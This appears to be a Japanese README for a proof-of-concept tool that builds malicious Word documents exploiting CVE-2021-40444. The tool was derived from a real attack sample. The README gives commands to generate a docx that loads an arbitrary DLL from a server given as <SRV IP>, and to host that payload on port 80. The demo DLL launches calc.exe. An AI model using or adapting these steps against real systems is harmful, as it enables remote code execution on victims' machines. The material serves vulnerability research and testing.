CVE-2021-40444 PoC

CVE-2021-40444 (Microsoft Office Word リモートコード実行) を悪用する悪意のある docx 生成ツール

このスクリプトの作成は、実際に使用されたサンプル (docx ファイル: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52) のリバースエンジニアリングに基づいています。

最初に lcab をインストールする必要があります (sudo apt-get install lcab)

手動での再現手順は REPRODUCE.md を確認してください

生成された cab が動作しない場合は、exploit.html の URL を calc.cab に指定してみてください。

使用方法

まず、DLL を指定して悪意のある docx 文書を生成します。test/calc.dll にある DLL を使用できます。これは system() の呼び出しで calc.exe を起動します。

python3 exploit.py generate test/calc.dll http://<SRV IP>

ドキュメント生成

悪意のある docx を生成したら (ファイルは out/ にあります)、サーバをセットアップできます:

sudo python3 exploit.py host 80

サーバ

最後に、Windows 仮想マシンで docx を試してください:

電卓起動